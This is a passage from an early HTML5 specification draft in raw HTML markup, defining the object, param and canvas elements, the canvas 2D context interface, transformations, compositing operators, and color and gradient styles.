(The <code         title=attr-object-data><a href="#data">data</a></code> attribute of         the <code><a href="#object0">object</a></code> element doesn't get         updated if the browsing context gets further navigated to other         locations.)</p>       <dt>If the resource is a supported image format, and support for        images has not been disabled       <dd>        <p>The <code><a href="#object0">object</a></code> element represents         the specified image. The image is not a nested <a         href="#browsing">browsing context</a>.</p>       <dt>Otherwise       <dd>        <p>The <code><a href="#object0">object</a></code> element represents         the specified image, but the image cannot be shown. Jump to step 3         below in the overall set of steps (fallback).</p>      </dl>     <li>      <p>The element's contents are not part of what the <code><a       href="#object0">object</a></code> element represents.</p>     <li>      <p>Once the resource is completely loaded, <a href="#firing4">fire a       <code title=event-load>load</code> event</a>.     </li>     <!-- XXX     ordering of events (like with iframe) -->    </ol>   <li>    <p>If the <code title=attr-object-data><a href="#data">data</a></code>     attribute is absent but the <code title=attr-object-type><a     href="#type6">type</a></code> attribute is present, and if the user     agent can find a handler suitable according to the value of the <code     title=attr-object-type><a href="#type6">type</a></code> attribute, then     that handler should be used. If the handler supports a scriptable     interface, the <code><a     href="#htmlobjectelement">HTMLObjectElement</a></code> object     representing the element should expose that interface. The handler is     not a nested <a href="#browsing">browsing context</a>. If no suitable     handler can be found, jump to the next step (fallback).   <li>    <p>(Fallback.) The <code><a href="#object0">object</a></code> element     doesn't represent anything except what the element's contents represent,     ignoring any leading <code><a href="#param0">param</a></code> element     children. This is the element's <a href="#fallback">fallback     content</a>.  </ol>  <p>In the absence of other factors (such as style sheets), user agents must   show the user what the <code><a href="#object0">object</a></code> element   represents. Thus, the contents of <code><a   href="#object0">object</a></code> elements act as <a   href="#fallback">fallback content</a>, to be used only when referenced   resources can't be shown (e.g. because it returned a 404 error). This   allows multiple <code><a href="#object0">object</a></code> elements to be   nested inside each other, targetting multiple user agents with different   capabilities, with the user agent picking the best one it supports.  <p>The <code title=attr-hyperlink-usemap><a   href="#usemap1">usemap</a></code> attribute, if present while the <code><a   href="#object0">object</a></code> element represents an image, can   indicate that the object has an associated <a href="#image">image map</a>.   The attribute must be ignored if the <code><a   href="#object0">object</a></code> element doesn't represent an image.  <p class=big-issue>height/width  <p>The DOM attributes <dfn id=data0   title=dom-object-data><code>data</code></dfn>, <dfn id=type7   title=dom-object-type><code>type</code></dfn>, <dfn id=usemap0   title=dom-object-useMap><code>useMap</code></dfn>, <dfn id=height2   title=dom-object-height><code>height</code></dfn>, and <dfn id=width2   title=dom-object-width><code>width</code></dfn> each must <a   href="#reflect">reflect</a> the respective content attributes of the same   name.  <h4 id=the-param><span class=secno>3.14.5. </span>The <dfn   id=param0><code>param</code></dfn> element</h4>  <!-- no type -->  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>As a child of an <code><a href="#object0">object</a></code> element,    before any content other than <code><a href="#param0">param</a></code>    elements.   <dt>Content model:   <dd>Empty.   <dt>Element-specific attributes:   <dd><code title=attr-param-name><a href="#name1">name</a></code>    (required)   <dd><code title=attr-param-value><a href="#value5">value</a></code>    (required)   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmlparamelement>HTMLParamElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute DOMString <a href="#name2" title=dom-param-name>name</a>;           attribute DOMString <span title=dom-param-value>value</span>;};</pre>  </dl>  <p>The <code><a href="#param0">param</a></code> element defines parameters   for handlers invoked by <code><a href="#object0">object</a></code>   elements.  <p>The <dfn id=name1 title=attr-param-name><code>name</code></dfn>   attribute gives the name of the parameter.  <p>The <dfn id=value5 title=attr-param-value><code>value</code></dfn>   attribute gives the value of the parameter.  <p>Both attributes must be present. They may have any value.  <p>If both attributes are present, and if the parent element of the   <code><a href="#param0">param</a></code> is an <code><a   href="#object0">object</a></code> element, then the element defines a <dfn   id=parameter title=concept-param-parameters>parameter</dfn> with the given   name/value pair.  <p>The DOM attributes <dfn id=name2   title=dom-param-name><code>name</code></dfn> and <dfn id=value6   title=dom-name-value><code>value</code></dfn> must both <a   href="#reflect">reflect</a> the respective content attributes of the same   name.  <h4 id=the-canvas><span class=secno>3.14.6. </span>The <dfn   id=canvas><code>canvas</code></dfn> element</h4>  <p><span title="Strictly inline-level elements">Strictly   inline-level</span> <a href="#embedded0">embedded content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>As the only <a href="#embedded0">embedded content</a> child of a    <code><a href="#figure0">figure</a></code> element.   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd><a href="#inline-level1">Inline-level content</a>.   <dt>Element-specific attributes:   <dd><code title=attr-canvas-height><a href="#height3">height</a></code>   <dd><code title=attr-canvas-width><a href="#width3">width</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmlcanvaselement>HTMLCanvasElement</dfn> : <a href="#htmlelement">HTMLElement</a> {         attribute long <a href="#width4" title=dom-canvas-width>width</a>;         attribute long <a href="#height4" title=dom-canvas-height>height</a>;  DOMString <a href="#todataurl" title=dom-canvas-toDataURL>toDataURL()</a>;  DOMString <a href="#todataurl0" title=dom-canvas-toDataURL-type>toDataURL</a>(in DOMString type);  DOMObject <a href="#getcontext" title=dom-canvas-getContext>getContext</a>(in DOMString contextID);};</pre>  </dl>  <p class=big-issue>Shouldn't allow inline-level content to be the content   model when the parent's content model is strictly inline only.  <p>The <code><a href="#canvas">canvas</a></code> element represents a   resolution-dependent bitmap canvas, which can be used for rendering   graphs, game graphics, or other visual images on the fly.  <p>Authors should not use the <code><a href="#canvas">canvas</a></code>   element in a document when a more suitable element is available. For   example, it is inappropriate to use a <code><a   href="#canvas">canvas</a></code> element to render a page heading: if the   desired presentation of the heading is graphically intense, it should be   marked up using appropriate elements (typically <code><a   href="#h10">h1</a></code>) and then styled using CSS and supporting   technologies such as XBL.  <p>When authors use the <code><a href="#canvas">canvas</a></code> element,   they should also provide content that, when presented to the user, conveys   essentially the same function or purpose as the bitmap canvas. This   content may be placed as content of the <code><a   href="#canvas">canvas</a></code> element. The contents of the <code><a   href="#canvas">canvas</a></code> element, if any, are the element's <a   href="#fallback">fallback content</a>.  <p>In interactive visual media with <span>scripting enabled</span>, the   canvas element is an embedded element with a dynamically created image.  <p>In non-interactive, static, visual media, if the <code><a   href="#canvas">canvas</a></code> element has been previously painted on   (e.g. if the page was viewed in an interactive visual medium and is now   being printed, or if some script that ran during the page layout process   painted on the element), then the <code><a   href="#canvas">canvas</a></code> element must be treated as embedded   content with the current image and size. Otherwise, the element's fallback   content must be used instead.  <p>In non-visual media, and in visual media with <span>scripting   disabled</span>, the <code><a href="#canvas">canvas</a></code> element's   fallback content must be used instead.  <p>The <code><a href="#canvas">canvas</a></code> element has two attributes   to control the size of the coordinate space: <dfn id=height3   title=attr-canvas-height><code>height</code></dfn> and <dfn id=width3   title=attr-canvas-width><code>width</code></dfn>. These attributes, when   specified, must have values that are <a href="#valid" title="valid   non-negative integer">valid non-negative integers</a>. The <a   href="#rules">rules for parsing non-negative integers</a> must be used to   obtain their numeric values. If an attribute is missing, or if parsing its   value returns an error, then the default value must be used instead. The   <code>width</code> attribute defaults to 300, and the <code>height</code>   attribute defaults to 150.  <p>The intrinsic dimensions of the <code><a   href="#canvas">canvas</a></code> element equal the size of the coordinate   space, with the numbers interpreted in CSS pixels. However, the element   can be sized arbitrarily by a style sheet. During rendering, the image is   scaled to fit this layout size.  <p>The size of the coordinate space does not necessarily represent the size   of the actual bitmap that the user agent will use internally or during   rendering. On high-definition displays, for instance, the user agent may   internally use a bitmap with two device pixels per unit in the coordinate   space, so that the rendering remains at high quality throughout.  <p>The canvas must initially be fully transparent black.  <p>If the <code title=attr-canvas-width><a href="#width3">width</a></code>   and <code title=attr-canvas-height><a href="#height3">height</a></code>   attributes are dynamically modified, the bitmap and any associated   contexts must be cleared back to their initial state and reinitialised   with the newly specified coordinate space dimensions.  <p>The <dfn id=width4 title=dom-canvas-width><code>width</code></dfn> and   <dfn id=height4 title=dom-canvas-height><code>height</code></dfn> DOM   attributes must <a href="#reflect">reflect</a> the content attributes of   the same name.  <p>To draw on the canvas, authors must first obtain a reference to a <dfn   id=context1>context</dfn> using the <dfn id=getcontext   title=dom-canvas-getContext><code>getContext</code></dfn> method of the   <code><a href="#canvas">canvas</a></code> element.  <p>This specification only defines one context, with the name "<code   title=canvas-context-2d><a href="#d">2d</a></code>". If <code   title=dom-canvas-getContext><a href="#getcontext">getContext()</a></code>   is called with that exact string, then the UA must return a reference to   an object implementing <code><a   href="#canvasrenderingcontext2d">CanvasRenderingContext2D</a></code>.   Other specifications may define their own contexts, which would return   different objects.  <p>Vendors may also define experimental contexts using the syntax   <code><var title="">vendorname</var>-<var title="">context</var></code>,   for example, <code>moz-3d</code>.  <p>When the UA is passed an empty string or a string specifying a context   that it does not support, then it must return null. String comparisons   should be literal and case-sensitive.  <p class=note>A future version of this specification will probably define a   <code>3d</code> context (probably based on the OpenGL ES API).  <p>The <dfn id=todataurl   title=dom-canvas-toDataURL><code>toDataURL()</code></dfn> method must,   when called with no arguments, return a <code title="">data:</code> URI   containing a representation of the image as a PNG file. <a   href="#refsPNG">[PNG]</a>.  <p>The <dfn id=todataurl0   title=dom-canvas-toDataURL-type><code>toDataURL(<var   title="">type</var>)</code></dfn> method (when called with one <em>or   more</em> arguments) must return a <code>data:</code> URI containing a   representation of the image in the format given by <var   title="">type</var>. The possible values are MIME types with no   parameters, for example <code>image/png</code>, <code>image/jpeg</code>,   or even maybe <code>image/svg+xml</code> if the implementation actually   keeps enough information to reliably render an SVG image from the canvas.  <p>Only support for <code>image/png</code> is required. User agents may   support other types. If the user agent does not support the requested   type, it must return the image using the PNG format.  <p>User agents must convert the provided type to lower case before   establishing if they support that type and before creating the   <code>data:</code> URL.</p>  <!-- XXX define "convert to lower case"  -->  <p class=note>When trying to use types other than <code>image/png</code>,   authors can check if the image was really returned in the requested format   by checking to see if the returned string starts with one the exact   strings "<code title="">data:image/png,</code>" or "<code   title="">data:image/png;</code>". If it does, the image is PNG, and thus   the requested type was not supported.  <p>Arguments other than the <var title="">type</var> must be ignored, and   must not cause the user agent to raise an exception (as would normally   occur if a method was called with the wrong number of arguments). A future   version of this specification will probably allow extra parameters to be   passed to <code title=dom-canvas-toDataURL><a   href="#todataurl">toDataURL()</a></code> to allow authors to more   carefully control compression settings, image metadata, etc.  <p><strong>Security:</strong> To prevent <em>information leakage</em>, the   <code title=dom-canvas-toDataURL><a   href="#todataurl">toDataURL()</a></code> and <code   title=dom-context-2d-getImageData><a   href="#getimagedata">getImageData()</a></code> methods should raise a <a   href="#security2">security exception</a> if the canvas ever had images   painted on it that originate from a domain other than the <a   href="#domain1" title="script's domain">domain of the script</a> that   painted the images onto the canvas.  <h5 id=the-2d><span class=secno>3.14.6.1. </span>The 2D context</h5>  <p>When the <code title=dom-canvas-getContext><a   href="#getcontext">getContext()</a></code> method of a <code><a   href="#canvas">canvas</a></code> element is invoked with <dfn id=d   title=canvas-context-2d><code>2d</code></dfn> as the argument, a <code><a   href="#canvasrenderingcontext2d">CanvasRenderingContext2D</a></code>   object is returned.  <p>There is only one <code><a   href="#canvasrenderingcontext2d">CanvasRenderingContext2D</a></code>   object per canvas, so calling the <code title=dom-canvas-getContext><a   href="#getcontext">getContext()</a></code> method with the <code   title=canvas-context-2d><a href="#d">2d</a></code> argument a second time   must return the same object.  <p>The 2D context represents a flat cartesian surface whose origin (0,0) is   at the top left corner, with the coordinate space having <var   title="">x</var> values increasing when going right, and <var   title="">y</var> values increasing when going down.  <pre   class=idl>interface <dfn id=canvasrenderingcontext2d>CanvasRenderingContext2D</dfn> {  // back-reference to the canvas readonly attribute  <a href="#htmlcanvaselement">HTMLCanvasElement</a> <a href="#canvas1" title=dom-context-2d-canvas>canvas</a>;  // state  void <a href="#save" title=dom-context-2d-save>save</a>(); // push state on state stack  void <a href="#restore" title=dom-context-2d-restore>restore</a>(); // pop state stack and restore state  // transformations (default transform is the identity matrix)  void <a href="#scale" title=dom-context-2d-scale>scale</a>(in float x, in float y);  void <a href="#rotate" title=dom-context-2d-rotate>rotate</a>(in float angle);  void <a href="#translate" title=dom-context-2d-translate>translate</a>(in float x, in float y);  void <a href="#transform" title=dom-context-2d-transform>transform</a>(in float m11, in float m12, in float m21, in float m22, in float dx, in float dy);  void <a href="#settransform" title=dom-context-2d-setTransform>setTransform</a>(in float m11, in float m12, in float m21, in float m22, in float dx, in float dy);<!--  // XXX we've also received requests for:  void skew(...);  void reflect(...); // or mirror(...)-->  // compositing           attribute float <a href="#globalalpha" title=dom-context-2d-globalAlpha>globalAlpha</a>; // (default 1.0)           attribute DOMString <a href="#globalcompositeoperation" title=dom-context-2d-globalCompositeOperation>globalCompositeOperation</a>; // (default over)  // colors and styles           attribute DOMObject <a href="#strokestyle" title=dom-context-2d-strokeStyle>strokeStyle</a>; // (default black)           attribute DOMObject <a href="#fillstyle" title=dom-context-2d-fillStyle>fillStyle</a>; // (default black)  <a href="#canvasgradient0">CanvasGradient</a> <span title=dom-context-2d-createLinearGradient>createLinearGradient</span>(in float x0, in float y0, in float x1, in float y1);  <a href="#canvasgradient0">CanvasGradient</a> <span title=dom-context-2d-createRadialGradient>createRadialGradient</span>(in float x0, in float y0, in float r0, in float x1, in float y1, in float r1);  <a href="#canvaspattern0">CanvasPattern</a> <span title=dom-context-2d-createPattern>createPattern</span>(in <a href="#htmlimageelement">HTMLImageElement</a> image, DOMString repetition);  <a href="#canvaspattern0">CanvasPattern</a> <span title=dom-context-2d-createPattern>createPattern</span>(in <a href="#htmlcanvaselement">HTMLCanvasElement</a> image, DOMString repetition);  // line caps/joins           attribute float <a href="#linewidth" title=dom-context-2d-lineWidth>lineWidth</a>; // (default 1)           attribute DOMString <a href="#linecap" title=dom-context-2d-lineCap>lineCap</a>; // "butt", "round", "square" (default "butt")           attribute DOMString <a href="#linejoin" title=dom-context-2d-lineJoin>lineJoin</a>; // "round", "bevel", "miter" (default "miter")           attribute float <a href="#miterlimit" title=dom-context-2d-miterLimit>miterLimit</a>; // (default 10)  // shadows           attribute float <a href="#shadowoffsetx" title=dom-context-2d-shadowOffsetX>shadowOffsetX</a>; // (default 0)           attribute float <a href="#shadowoffsety" title=dom-context-2d-shadowOffsetY>shadowOffsetY</a>; // (default 0)           attribute float <a href="#shadowblur" title=dom-context-2d-shadowBlur>shadowBlur</a>; // (default 0)           attribute DOMString <a href="#shadowcolor" title=dom-context-2d-shadowColor>shadowColor</a>; // (default black)  // rects  void <a href="#clearrect" title=dom-context-2d-clearRect>clearRect</a>(in float x, in float y, in float w, in float h);  void <a href="#fillrect" title=dom-context-2d-fillRect>fillRect</a>(in float x, in float y, in float w, in float h);  void <a href="#strokerect" title=dom-context-2d-strokeRect>strokeRect</a>(in float x, in float y, in float w, in float h);  // path API  void <a href="#beginpath" title=dom-context-2d-beginPath>beginPath</a>();  void <a href="#closepath" title=dom-context-2d-closePath>closePath</a>();  void <a href="#moveto" title=dom-context-2d-moveTo>moveTo</a>(in float x, in float y);  void <a href="#lineto" title=dom-context-2d-lineTo>lineTo</a>(in float x, in float y);  void <a href="#quadraticcurveto" title=dom-context-2d-quadraticCurveTo>quadraticCurveTo</a>(in float cpx, in float cpy, in float x, in float y);  void <a href="#beziercurveto" title=dom-context-2d-bezierCurveTo>bezierCurveTo</a>(in float cp1x, in float cp1y, in float cp2x, in float cp2y, in float x, in float y);  void <a href="#arcto" title=dom-context-2d-arcTo>arcTo</a>(in float x1, in float y1, in float x2, in float y2, in float radius);  void <a href="#rectx" title=dom-context-2d-rect>rect</a>(in float x, in float y, in float w, in float h);  void <a href="#arcx-" title=dom-context-2d-arc>arc</a>(in float x, in float y, in float radius, in float startAngle, in float endAngle, in boolean anticlockwise);  void <a href="#fill" title=dom-context-2d-fill>fill</a>();  void <a href="#stroke" title=dom-context-2d-stroke>stroke</a>();  void <a href="#clip" title=dom-context-2d-clip>clip</a>();  boolean <a href="#ispointinpath" title=dom-context-2d-isPointInPath>isPointInPath</a>(in float x, in float y);  // drawing images  void <a href="#drawimage" title=dom-context-2d-drawImage>drawImage</a>(in <a href="#htmlimageelement">HTMLImageElement</a> image, in float dx, in float dy);  void <a href="#drawimage" title=dom-context-2d-drawImage>drawImage</a>(in <a href="#htmlimageelement">HTMLImageElement</a> image, in float dx, in float dy, in float dw, in float dh);  void <a href="#drawimage" title=dom-context-2d-drawImage>drawImage</a>(in <a href="#htmlimageelement">HTMLImageElement</a> image, in float sx, in float sy, in float sw, in float sh, in float dx, in float dy, in float dw, in float dh);  void <a href="#drawimage" title=dom-context-2d-drawImage>drawImage</a>(in <a href="#htmlcanvaselement">HTMLCanvasElement</a> image, in float dx, in float dy);  void <a href="#drawimage" title=dom-context-2d-drawImage>drawImage</a>(in <a href="#htmlcanvaselement">HTMLCanvasElement</a> image, in float dx, in float dy, in float dw, in float dh);  void <a href="#drawimage" title=dom-context-2d-drawImage>drawImage</a>(in <a href="#htmlcanvaselement">HTMLCanvasElement</a> image, in float sx, in float sy, in float sw, in float sh, in float dx, in float dy, in float dw, in float dh);  // pixel manipulation  <a href="#imagedata">ImageData</a> <a href="#getimagedata" title=dom-context-2d-getImageData>getImageData</a>(in float sx, in float sy, in float sw, in float sh);  void <a href="#putimagedata" title=dom-context-2d-putImageData>putImageData</a>(in <a href="#imagedata">ImageData</a> image, in float dx, in float dy);  // drawing text is not supported in this version of the API  // (there is no way to predict what metrics the fonts will have,  // which makes fonts very hard to use for painting)};interface <dfn id=canvasgradient>CanvasGradient</dfn> {  // opaque object  void <a href="#addcolorstop" title=dom-canvasgradient-addColorStop>addColorStop</a>(in float offset, in DOMString color);};interface <dfn id=canvaspattern>CanvasPattern</dfn> {  // opaque object};interface <dfn id=imagedata>ImageData</dfn> {  readonly attribute long int <a href="#width5" title=dom-imagedata-width>width</a>;  readonly attribute long int <a href="#height5" title=dom-imagedata-height>height</a>;  readonly attribute int[] <a href="#data1" title=dom-imagedata-data>data</a>;};</pre>  <p>The <dfn id=canvas1   title=dom-context-2d-canvas><code>canvas</code></dfn> attribute must   return the <code><a href="#canvas">canvas</a></code> element that the   context paints on.  <h6 id=the-canvas0><span class=secno>3.14.6.1.1. </span>The canvas state</h6>  <p>Each context maintains a stack of drawing states. <dfn id=drawing0   title="drawing state">Drawing states</dfn> consist of:  <ul class=brief>   <li>The current transformation matrix.   <li>The current clip region.   <li>The current values of the following attributes: <code    title=dom-context-2d-strokeStyle><a    href="#strokestyle">strokeStyle</a></code>, <code    title=dom-context-2d-fillStyle><a href="#fillstyle">fillStyle</a></code>,    <code title=dom-context-2d-globalAlpha><a    href="#globalalpha">globalAlpha</a></code>, <code    title=dom-context-2d-lineWidth><a href="#linewidth">lineWidth</a></code>,    <code title=dom-context-2d-lineCap><a href="#linecap">lineCap</a></code>,    <code title=dom-context-2d-lineJoin><a    href="#linejoin">lineJoin</a></code>, <code    title=dom-context-2d-miterLimit><a    href="#miterlimit">miterLimit</a></code>, <code    title=dom-context-2d-shadowOffsetX><a    href="#shadowoffsetx">shadowOffsetX</a></code>, <code    title=dom-context-2d-shadowOffsetY><a    href="#shadowoffsety">shadowOffsetY</a></code>, <code    title=dom-context-2d-shadowBlur><a    href="#shadowblur">shadowBlur</a></code>, <code    title=dom-context-2d-shadowColor><a    href="#shadowcolor">shadowColor</a></code>, <code    title=dom-context-2d-globalCompositeOperation><a    href="#globalcompositeoperation">globalCompositeOperation</a></code>.  </ul>  <p class=note>The current path and the current bitmap are not part of the   drawing state. The current path is persistent, and can only be reset using   the <code title=dom-context-2d-beginPath><a   href="#beginpath">beginPath()</a></code> method. The current bitmap is   <span title=concept-canvas-image>a property of the   canvas</span><!-- XXX xref -->, not the context.  <p>The <dfn id=save title=dom-context-2d-save><code>save()</code></dfn>   method pushes a copy of the current drawing state onto the drawing state   stack.  <p>The <dfn id=restore   title=dom-context-2d-restore><code>restore()</code></dfn> method pops the   top entry in the drawing state stack, and resets the drawing state it   describes. If there is no saved state, the method does nothing.  <h6 id=transformations><span class=secno>3.14.6.1.2. </span><dfn   id=transformations1>Transformations</dfn></h6>  <p>The transformation matrix is applied to all drawing operations prior to   their being rendered. It is also applied when creating the clip region.</p>  <!-- conformance criteria for actual drawing are  described in "drawing model" below -->  <p>When the context is created, the transformation matrix must initially be   the identity transform. It may then be adjusted using the three   transformation methods.  <p>The transformations must be performed in reverse order. For instance, if   a scale transformation that doubles the width is applied, followed by a   rotation transformation that rotates drawing operations by a quarter turn,   and a rectangle twice as wide as it is tall is then drawn on the canvas,   the actual result will be a square.  <p>The <dfn id=scale title=dom-context-2d-scale><code>scale(<var   title="">x</var>, <var title="">y</var>)</code></dfn> method must add the   scaling transformation described by the arguments to the transformation   matrix. The <var title="">x</var> argument represents the scale factor in   the horizontal direction and the <var title="">y</var> argument represents   the scale factor in the vertical direction. The factors are multiples.  <p>The <dfn id=rotate title=dom-context-2d-rotate><code>rotate(<var   title="">angle</var>)</code></dfn> method must add the rotation   transformation described by the argument to the transformation matrix. The   <var title="">angle</var> argument represents a clockwise rotation angle   expressed in radians.  <p>The <dfn id=translate   title=dom-context-2d-translate><code>translate(<var title="">x</var>, <var   title="">y</var>)</code></dfn> method must add the translation   transformation described by the arguments to the transformation matrix.   The <var title="">x</var> argument represents the translation distance in   the horizontal direction and the <var title="">y</var> argument represents   the translation distance in the vertical direction. The arguments are in   coordinate space units.  <p>The <dfn id=transform   title=dom-context-2d-transform><code>transform(<var title="">m11</var>,   <var title="">m12</var>, <var title="">m21</var>, <var title="">m22</var>,   <var title="">dx</var>, <var title="">dy</var>)</code></dfn> method must   multiply the current transformation matrix with the matrix described by:  <table class=matrix>   <tbody>    <tr>     <td><var title="">m11</var>     <td><var title="">m12</var>     <td><var title="">dx</var>    <tr>     <td><var title="">m21</var>     <td><var title="">m22</var>     <td><var title="">dy</var>    <tr>     <td>0     <td>0     <td>1  </table>  <p>The <dfn id=settransform   title=dom-context-2d-setTransform><code>setTransform(<var   title="">m11</var>, <var title="">m12</var>, <var title="">m21</var>, <var   title="">m22</var>, <var title="">dx</var>, <var   title="">dy</var>)</code></dfn> method must reset the current transform to   the identity matrix, and then invoke the <code><a href="#transform"   title=dom-context-2d-transform>transform</a>(<var title="">m11</var>, <var   title="">m12</var>, <var title="">m21</var>, <var title="">m22</var>, <var   title="">dx</var>, <var title="">dy</var>)</code> method with the same   arguments.  <h6 id=compositing><span class=secno>3.14.6.1.3. </span>Compositing</h6>  <p>All drawing operations are affected by the global compositing   attributes, <code title=dom-context-2d-globalAlpha><a   href="#globalalpha">globalAlpha</a></code> and <code   title=dom-context-2d-globalCompositeOperation><a   href="#globalcompositeoperation">globalCompositeOperation</a></code>.</p>  <!-- conformance criteria for painting are described in the "drawing  model" section below -->  <p>The <dfn id=globalalpha   title=dom-context-2d-globalAlpha><code>globalAlpha</code></dfn> attribute   gives an alpha value that is applied to shapes and images before they are   composited onto the canvas. The value must be in the range from 0.0 (fully   transparent) to 1.0 (no additional transparency). If an attempt is made to   set the attribute to a value outside this range, the attribute must retain   its previous value. When the context is created, the <code   title=dom-context-2d-globalAlpha><a   href="#globalalpha">globalAlpha</a></code> attribute must initially have   the value 1.0.  <p>The <dfn id=globalcompositeoperation   title=dom-context-2d-globalCompositeOperation><code>globalCompositeOperation</code></dfn>   attribute sets how shapes and images are drawn onto the existing bitmap,   once they have had <code title=dom-context-2d-globalAlpha><a   href="#globalalpha">globalAlpha</a></code> and the current transformation   matrix applied. It must be set to a value from the following list. In the   descriptions below, the source image is the shape or image being rendered,   and the destination image is the current state of the bitmap.  <p class=issue>The source-* descriptions below don't define what should   happen with semi-transparent regions.  <dl>   <dt><dfn id=source-atop    title=gcop-source-atop><code>source-atop</code></dfn>   <dd>Display the source image wherever both images are opaque. Display the    destination image wherever the destination image is opaque but the source    image is transparent. Display transparency elsewhere.   <dt><dfn id=source-in title=gcop-source-in><code>source-in</code></dfn>   <dd>Display the source image wherever both the source image and    destination image are opaque. Display transparency elsewhere.   <dt><dfn id=source-out title=gcop-source-out><code>source-out</code></dfn>   <dd>Display the source image wherever the source image is opaque and the    destination image is transparent. Display transparency elsewhere.   <dt><dfn id=source-over    title=gcop-source-over><code>source-over</code></dfn> (default)   <dd>Display the source image wherever the source image is opaque. Display    the destination image elsewhere.   <dt><dfn id=destination-atop    title=gcop-destination-atop><code>destination-atop</code></dfn>   <dd>Same as <code title=gcop-source-atop><a    href="#source-atop">source-atop</a></code> but using the destination    image instead of the source image and vice versa.   <dt><dfn id=destination-in    title=gcop-destination-in><code>destination-in</code></dfn>   <dd>Same as <code title=gcop-source-in><a    href="#source-in">source-in</a></code> but using the destination image    instead of the source image and vice versa.   <dt><dfn id=destination-out    title=gcop-destination-out><code>destination-out</code></dfn>   <dd>Same as <code title=gcop-source-out><a    href="#source-out">source-out</a></code> but using the destination image    instead of the source image and vice versa.   <dt><dfn id=destination-over    title=gcop-destination-over><code>destination-over</code></dfn>   <dd>Same as <code title=gcop-source-over><a    href="#source-over">source-over</a></code> but using the destination    image instead of the source image and vice versa.   <dt><dfn id=darker title=gcop-darker><code>darker</code></dfn>   <dd>Display the sum of the source image and destination images, with color    values approaching 0 as a limit.   <dt><dfn id=lighter title=gcop-lighter><code>lighter</code></dfn>   <dd>Display the sum of the source image and destination image, with color    values approaching 1 as a limit.   <dt><dfn id=copy title=gcop-copy><code>copy</code></dfn>   <dd>Display the source image instead of the destination image.   <dt><dfn id=xor title=gcop-xor><code>xor</code></dfn>   <dd>Exclusive OR of the source and destination images.   <dt><code><var title="">vendorName</var>-<var    title="">operationName</var></code>   <dd>Vendor-specific extensions to the list of composition operators should    use this syntax.  </dl>  <p>These values are all case-sensitive AMPERSANDmdash; they must be used exactly as   shown. User agents must only recognise values that exactly match the   values given above.  <p>On setting, if the user agent does not recognise the specified value, it   must be ignored, leaving the value of <code   title=dom-context-2d-globalCompositeOperation><a   href="#globalcompositeoperation">globalCompositeOperation</a></code>   unaffected.  <p>When the context is created, the <code   title=dom-context-2d-globalCompositeOperation><a   href="#globalcompositeoperation">globalCompositeOperation</a></code>   attribute must initially have the value <code>source-over</code>.  <h6 id=colors><span class=secno>3.14.6.1.4. </span>Colors and styles</h6>  <p>The <dfn id=strokestyle   title=dom-context-2d-strokeStyle><code>strokeStyle</code></dfn> attribute   represents the color or style to use for the lines around shapes, and the   <dfn id=fillstyle   title=dom-context-2d-fillStyle><code>fillStyle</code></dfn> attribute   represents the color or style to use inside the shapes.  <p>Both attributes can be either strings, <code><a   href="#canvasgradient0">CanvasGradient</a></code>s, or <code><a   href="#canvaspattern0">CanvasPattern</a></code>s. On setting, strings   should be parsed as CSS AMPERSANDlt;colorAMPERSANDgt; values and the color assigned, and   <code><a href="#canvasgradient0">CanvasGradient</a></code> and <code><a   href="#canvaspattern0">CanvasPattern</a></code> objects must be assigned   themselves. <a href="#refsCSS3COLOR">[CSS3COLOR]</a> If the value is a   string but is not a valid color, or is neither a string, a <code><a   href="#canvasgradient0">CanvasGradient</a></code>, nor a <code><a   href="#canvaspattern0">CanvasPattern</a></code>, then it must be ignored,   and the attribute must retain its previous value.  <p>On getting, if the value is a color, then: if it has alpha equal to 1.0,   then the color must be returned as an uppercase six-digit hex value,   prefixed with a "#" character (U+0023 NUMBER SIGN), with the first two   digits representing the red component, the next two digits representing   the green component, and the last two digits representing the blue   component, the digits being in the range 0-9 A-F (U+0030 to U+0039 and   U+0041 to U+0046). If the value has alpha less than 1.0, then the value   must instead be returned in the CSS <code title="">rgba()</code>   functional-notation format: the literal string <code title="">rgba</code>   (U+0072 U+0067 U+0062 U+0061) followed by a U+0028 LEFT PARENTHESIS, a   base-ten integer in the range 0-255 representing the red component (using   digits 0-9, U+0030 to U+0039, in the shortest form possible), a literal   U+002C COMMA and U+0020 SPACE, an integer for the green component, a comma   and a space, an integer for the blue component, another comma and space, a   U+0030 DIGIT ZERO, a U+002E FULL STOP (representing the decimal point),   one or more digits in the range 0-9 (U+0030 to U+0039) representing the   fractional part of the alpha value, and finally a U+0029 RIGHT   PARENTHESIS.  <p>Otherwise, if it is not a color but a <code><a   href="#canvasgradient0">CanvasGradient</a></code> or <code><a   href="#canvaspattern0">CanvasPattern</a></code>, then an object supporting   those interfaces must be returned. Such objects are opaque and therefore   only useful for assigning to other attributes or for comparison to other   gradients or patterns.  <p>When the context is created, the <code   title=dom-context-2d-strokeStyle><a   href="#strokestyle">strokeStyle</a></code> and <code   title=dom-context-2d-fillStyle><a href="#fillstyle">fillStyle</a></code>   attributes must initially have the string value <code   title="">#000000</code>.  <p>There are two types of gradients, linear gradients and radial gradients,   both represented by objects implementing the opaque <dfn   id=canvasgradient0><code>CanvasGradient</code></dfn> interface.  <p>Once a gradient has been created (see below), stops must be placed along   it to define how the colors are distributed along the gradient. Between   each such stop, the colors and the alpha component must be interpolated   over the RGBA space to find the color to use at that offset. Immediately   before the 0 offset and immediately after the 1 offset, transparent black   stops are be assumed.  <p>The <dfn id=addcolorstop   title=dom-canvasgradient-addColorStop><code>addColorStop(<var   title="">offset</var>, <var title="">color</var>)</code></dfn> method on   the <code><a href="#canvasgradient0">CanvasGradient</a></code> interface   adds a new stop to a gradient. If the <var title="">offset</var> is less   than 0 or greater than 1 then an <code>INDEX_SIZE_ERR</code> exception   must be raised. If the <var title="">color</var> cannot be parsed as a CSS   color, then a <code>SYNTAX_ERR</code> exception must be raised. Otherwise,   the gradient must be updated with the new stop information.  <p>The <dfn id=createlineargradient title=createLinearGradient><code   title=dom-context-2d-createLinearGradient>createLinearGradient(<var   title="">x0</var>, <var title="">y0</var>, <var title="">x1</var>, <var   title="">y1</var>)</code></dfn> method takes four arguments, representing   the start point (<var title="">x0</var>, <var 